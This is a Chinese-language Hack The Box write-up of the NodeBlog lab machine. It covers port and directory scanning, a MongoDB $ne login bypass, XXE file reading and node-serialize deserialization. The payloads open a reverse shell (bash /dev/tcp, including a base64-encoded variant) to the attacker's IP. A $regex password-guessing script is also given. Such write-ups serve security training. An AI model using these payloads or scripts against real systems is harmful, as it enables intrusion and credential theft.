【社区精选】Hack The Box - Machines - NodeBlog

admin 2022年3月27日20:12:07评论56 views字数 7242阅读24分8秒阅读模式
【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog



【社区精选】Hack The Box - Machines - NodeBlog


靶机:10.10.11.139 攻击机:10.10.14.28

1. 信息搜集

C:\Users\kami\Desktop>nmap -sS -sC -sV -A -p- 10.10.11.139  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-07 19:06 中国标准时间  
Nmap scan report for 10.10.11.139  
Host is up (0.28s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT     STATE SERVICE VERSION  
22/tcp   open ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)  
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)  
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)  
5000/tcp open http   Node.js (Express middleware)  
|_http-title: Blog  
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).  
TCP/IP fingerprint:  
OS:SCAN(V=7.92%E=4%D=3/7%OT=22%CT=1%CU=38883%PV=Y%DS=2%DC=T%G=Y%TM=6225E896  
OS:%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)  
OS:OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508  
OS:ST11NW7%O6=M508ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)  
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%  
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T  
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=  
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF  
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40  
OS:%CD=S)  
 
Network Distance: 2 hops  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
 
TRACEROUTE (using port 1720/tcp)  
HOP RTT       ADDRESS  
1   281.00 ms 10.10.14.1  
2   282.00 ms 10.10.11.139  
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
E:\信息搜集\目录扫描\dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,503 -e * -  
u http://10.10.11.139:5000/  
 
_|. _ _  _  _  _ _|_    v0.4.2  
(_||| _) (/_(_|| (_| )  
 
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30  
Wordlist size: 15492  
 
Output File: E:\信息搜集\目录扫描\dirsearch-master\reports\10.10.11.139-5000\-_22-03-07_19-16-08.txt  
 
Error Log: E:\信息搜集\目录扫描\dirsearch-master\logs\errors-22-03-07_19-16-08.log  
 
Target: http://10.10.11.139:5000/  
 
[19:16:09] Starting:  
[19:18:11] 200 - 1002B  - /login  
[19:18:12] 200 - 1002B  - /login/

由nmap和dirsearch扫描出来的结果为:靶机是Ubuntu开放22 SSH端口和5000端口,5000端口是nodejs web,经过目录扫描之后只有一个login页面

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

这里提示账号错误,得到用户名为admin ,密码经过Burp爆破之后无果,无sql注入,首页页面源代码有一个这样的东西:

【社区精选】Hack The Box - Machines - NodeBlog

等下来回头来看这个,点击read more 可以看到有几个链接,指向不同的网站。

分别为:Homepage、土耳其语言和英语版本的TwitchYoutubeDiscordTwitter

除了HomePage以外,其他的都指向了本靶机作者的各个平台的个人首页

打开homepage翻译之后页面如下:

【社区精选】Hack The Box - Machines - NodeBlog

看起来此域尚未连接到网站,只需要几个简单的步骤即可将其连接到您的wix网站....

本来还以为是域名劫持,但是不对劲呀,不可能是这样的呀,而且这都也已经跳出靶场范围了。

【社区精选】Hack The Box - Machines - NodeBlog

再看一下wappalyzer插件分析,站是有nodejs express构建的,先去找一下有没有对应的exp。

2. 漏洞利用

找到一个反序列化漏洞CVE-2017-5941

exp如下: 

import requests  
import re  
import base64  
import sys  
 
url = 'http://10.10.11.139:5000/' # change this  
 
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"  
"return function () {"  
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"  
"console.log('still inside');"  
"const { exec } = require('child_process');"  
"exec('bash -i >& /dev/tcp/10.10.14.28/1234 0>&1');" # change this  
"}"  
"})(require('http').ServerResponse.prototype.end)")  
 
# rce = "_$$ND_FUNC$$_process.exit(0)"  
# code ="_$$ND_FUNC$$_console.log('behind you')"  
code = "_$$ND_FUNC$$_" + payload  
 
string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'  
 
cookie = {'profile':base64.b64encode(string)}  
 
try:  
response = requests.get(url, cookies=cookie).text  
print response  
except requests.exceptions.RequestException as e:  
print('Oops!')  
sys.exit(1)


【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog


但是经过运行之后发现并没有什么作用。

走投无路了属于是,后面看了一下作者的youtube,才知道姿势不正确。

0x01. Mangodb绕过身份验证

来到登录页面,由于之前的尝试,现在已经知道用户名为admin

靶机本身登录传参是post传参,但因为靶机web是nodejs构建起来的,所以传参方式可以改为json格式,也直接post传参,并且nodejs通常使用的是MangoDB

现在将登录表单的传参改为json格式

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

可以看到json格式传输的数据也被服务器所接收,来试试MangoDB中的$ne ,参考:$ne

官方文档有说明:$ne选择的值,不等于指定的值

【社区精选】Hack The Box - Machines - NodeBlog

payload即当password不等于admin 的时候返回真,所以这里直接登录进入后台了,在响应包的头部可以看到Set-Cookie,通常登录成功之后都会出现这样一个字段

【社区精选】Hack The Box - Machines - NodeBlog

密码到最后再来尝试写python脚本进行正则匹配爆破一波。

从返回的数据包中可以看到有一个upload xml的功能,没登录之前就写在页面源代码里面,登录之后就看到有upload了。


【社区精选】Hack The Box - Machines - NodeBlog

此时回到web页面,抓取登录数据包,修改为json格式,再放过去即可。

【社区精选】Hack The Box - Machines - NodeBlog

成功进入后台

0x02. XML注入(XXE)

经过查看页面源代码已经知道了这里可以上传xml文件,那么是否可以进行xxe

【社区精选】Hack The Box - Machines - NodeBlog

先新建一篇文章,内容随便写,然后save,但是在保存的时候这里报错了。

【社区精选】Hack The Box - Machines - NodeBlog

报错好啊,报错就能知道绝对路径了。

opt/blog/viewsopt/blog/node_modules/express/lib/

回到上传点,点击上传,先上传一个图片格式的文件

【社区精选】Hack The Box - Machines - NodeBlog

从这里返回的数据包也可以看到,这里提示是需要xml格式

【社区精选】Hack The Box - Machines - NodeBlog

本地构造一个xml文件,让其去读取/etc/passwd文件的内容

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

成功读取到了/etc/passwd的内容,xxe存在,接下来需要拿shell,我想到读取etc/shadow文件然后进行破解。

但是进行尝试之后发现:

【社区精选】Hack The Box - Machines - NodeBlog

将passwd换成shadow之后就报错了,可能是没有高权限,现在是低权限用户。

0x03. Get User Shell

想到之前的报错页面,获取到了nodejs的路径,或许可以尝试进行读取nodejs的配置文件

/opt/blog/server.js

【社区精选】Hack The Box - Machines - NodeBlog

读取到了server.jsapp.jsmain.js读取的时候页面报错,证明是不存在的

这时候来看看这个server.js,可以看到源码中有一个serialize nodejs的序列化。

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

接下来就需要看到nodejs的unserialize vulnerabilities漏洞了

payload: _$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()

将这一段拼接到cookie里面,将命令替换为反弹shll的命令即可

exploit:  
 
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","kami":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjguMTIzNCAwPiYx | base64 -d | bash  
\", function(error, stdout, stderr) { console.log(stdout) });}()"}  

注意这里函数里面的字符串用双引号括起来,并且最终语句进行url编码  即:  
%7b%22%75%73%65%72%22%3a%22%61%64%6d%69%6e%22%2c%22%73%69%67%6e%22%3a%22%32%33%65%31%31%32%30%37%32%39%34%35%34%31%38%36%30%31%64%65%62%34%37%64%39%61%36%63%37%64%65%38%22%2c%22%6b%61%6d%69%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%20%28%29%7b%72%65%71%75%69%72%65%28%5c%22%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%5c%22%29%2e%65%78%65%63%28%5c%22%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%41%75%4d%54%41%75%4d%54%51%75%4d%6a%67%76%4d%54%49%7a%4e%43%41%67%4d%44%34%6d%4d%51%3d%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%20%5c%22%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d  


【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

来到/opt/blog/dump/blog目录下,可以看到之前web页面的登录用户的密码

提权先等下,先找到用户flag,来到admin用户的目录下 查看user.txt即为flag

【社区精选】Hack The Box - Machines - NodeBlog


3. Get Root Shell

同样,为了获取root的flag需要进行权限提升

sudo -l ,提示输入密码,用刚刚的admin密码尝试成功

【社区精选】Hack The Box - Machines - NodeBlog

权限还挺高 ALL

【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

root flag.


4. MangoDB注入猜解密码

使用$regex正则表达式来逐一猜解admin用户的密码

import string  
import sys  
import requests  
import json  
# burp调试  
proxy = {  
'http': 'http://127.0.0.1:8080',  
'https': 'http://127.0.0.1:8080'  
}  
header = {  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577'  
'.82 Safari/537.36'  
}  
 
 
def login(pwd):  
# 拼接参数  
payload = '{"$regex": "%s"}' % pwd  
# 将payload加入到data数据中的password字段  
data = {"user": "admin", "password": json.loads(payload)}  
# 登录请求  
response = requests.post("http://10.10.11.139:5000/login", json=data, headers=header)  
# 页面返回密码不正确就false结束  
if "Invalid Password" in response.text:  
return False  
return True  
 
 
if __name__ == "__main__":  
# 以xxx开头 正则表达式 ^  
password = '^'  
stop = False  
while stop == False:  
# 循环遍历 ascii  
for i in string.ascii_letters:  
# 打印要尝试的密码  
sys.stdout.write(f"\r{password}{i}")  
# 如果登录成功,就将对应的字母打印出来  
if login(f"{password}{i}"):  
password += i  
# 避免陷入死循环,第二次登录使用密码登录且使用正则表达式$结尾  
if login(f"{password}$"):  
sys.stdout.write(f"\r{password}\r\n")  
sys.stdout.flush()  
stop = True  
break  
break  

参考:

Nodejs返序列化

IppSec - 作者



【社区精选】Hack The Box - Machines - NodeBlog

【社区精选】Hack The Box - Machines - NodeBlog

暗魂社区精选文章推送

【渗透测试】Vulnhub靶场之IMF

【渗透测试】Vulnhub靶场之Yone

【社区精选】渗透攻击红队内网域渗透靶场2.0-writeup


【社区精选】Hack The Box - Machines - NodeBlog
【社区精选】Hack The Box - Machines - NodeBlog
微信搜一搜
【社区精选】Hack The Box - Machines - NodeBlog
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):【社区精选】Hack The Box - Machines - NodeBlog

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月27日20:12:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【社区精选】Hack The Box - Machines - NodeBloghttps://cn-sec.com/archives/840930.html

发表评论

匿名网友 填写信息